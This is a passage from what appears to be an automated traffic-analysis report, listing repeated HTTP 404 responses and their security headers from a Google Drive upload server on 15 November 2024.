ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC5ieBayJDvdRDAPXr03Cf5LmNkqrMiW2zX8_Rd8VBVUHn1XAuCp-EBV_g81Imd-ywT9dQjtwr6dSQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:46 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-F8jo_QnAwesnAN858b8Wbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC5WJGXwo2vmxjLMj8mGNy0sEowhjmmIR-1EG5yxlVQ1OdklsDsFvUA6Amis4WIJhW9zpyKbbK2unAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-e68TODCjM1OVanXeHrZZDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6y7Wk_LQrmjd-nTkB_x27OFBKo3YevUMeNkgQpmeOBgss5xjzdLVNaKltTHcF3px23SDe5q9_wugServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:39 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-AXOcV9wyGwdCymktj_6gUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY2fNxGDNaLGlwv-TJfxyGE-cwJpC7cWl4Fq3oUL2VGdOdkwx4vIOliYlofWiMOgEaUQWyYLSHMGrQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:39 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EgrMCGhrmLQahhkRUwERpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC7Wo2brYXRJwVxL_l2i0-lTcBXlfxR5iGrJWNm24tMZaMhpUB2_xZnTIjlJWI6tEPBoN0oVN_8OvQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:41 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-m2zkC3NgxTn4_8r2XJXq3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY2YPSzXo_UwscI0FbetXZetjMTwh_wBqDeFfckri-ekjuYkKerwgLE-eBw4W1JcFgPaUgmb3vb9fgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:42 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-B65aVVSftE18NG4XnnqHmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC440Or8D_Xo1vkwy3oSVVMg4teih-up4EWiKSW4kKpvQ-WmgIZ2XEm6lGB-AQduE-eb_j7IIG0LwwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:43 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-DePdxBrWSkSAIdJ0sgC5jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY1Ka-ayYgy0gFTLLMc0oDM5XwWrGj7J1AfZzthJRsamnkaOpvBCd8ybDPbmOA9QUBBiF1PnKsDOMgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:44 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-EfU79X79u7E4LbcOEOBvKg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652X-GUploader-UploadID: AHmUCY2kNgbFRD3DrajNVR7pKKXqnrwQIaRfV-7W54qyac6MQopila7ozQVqExmAJIQV9H6NBjrZyRUUJQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:44 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-BZb41KUFe5fWsptmquap-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC66h55eqZ_-Meiab5NlnUvBU2DlY0k5vm1dRiGOkMs7WrRwUFaSgZmBgB7Ab-bFDOfwYpgyiAYMCAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:47 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-GSspKMEed1hW17M9WZqHKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4XgHu6N_GiFRwPhIVKWBfs5PjE30JK02AeTdz1IAlkDomta8iULcZDqVa9w8ELGkiKQyYWVgI9gQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:47 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Xq7dQqTe4udJyr3EShS-JA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY2u6Q6KOEoywHhhCEoFTllfsxPPWjP88cfeHf-MumgkSUTi9Qkt3Z5B6hISWL-_l-o3zVBStXFY8QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:48 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0lLmqkjAYdD9a1wf_16kxw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY2gfXjWVDAsqeofbTuVqFphx1TFpghy6AWjWV0geGgt_sX12RDY2r7bJFc1qhebvbnuRIqjNYnTTAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-WZB61sqAPRaZ2uf0bVWzAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC4Y-IvMWVFf9aaqAe8mAA624S-jRhspD1IXCscQqxvOfD6snMaNAN4AX5yYwRxmhdf6nSFoCImaRgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6Kb6zbEz4sL8FB2YC-a5gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC7MYxQcydIZKLetSa5-de378R2mvWCCb2-STEDFpICE_wDiN4FsdsfkUyX6gngmNxIK8IasWoWMygServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-788NdEtxmJRSMa1K8gDteA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC4qTf-Qr1E_o4h5CVpliZNhp93BqEgIkZCFrDGYI11SWM1QJ7lVlfD3WzqM4C9Ya7PulAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:52 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-j5OKsjH9Kz7eZOLQWytnRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY19QKT9CqoHQA0iFf9UiWY6F8U_9px8BI18Hf7_xfJp20V3zqqr04gkGHrvnKS0rVFHkqDiN8PzKgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nhbmjDzFrDeMuU3TohqEUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC70rmNBiR7HW2SdocN52PqLfAlSsPnxEL3xZisCwhpeomv3BQ_R0RqGTY1wG5pWTb7xI4U4YAbgKwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:54 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-uK2LjODbDS-VC5E_j4VEhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4IlEjYGDmVbInMIzK4HJZnDbC0Fb9RREw5ZwQVjLrXLsMyViomF5siUQLv5farhx91eldIup9gNAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:55 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-4SbtQDw3nFf0L-Wy_13fXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC4Ccf_6fTikse9D89A8RhnGqN6OUlM5KTWwOMYUTCqGjrguEJRcS-F3hvK349AxLvyIWz4Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:24:55 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-buHdELXmwnKyzgaK_4pAKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: 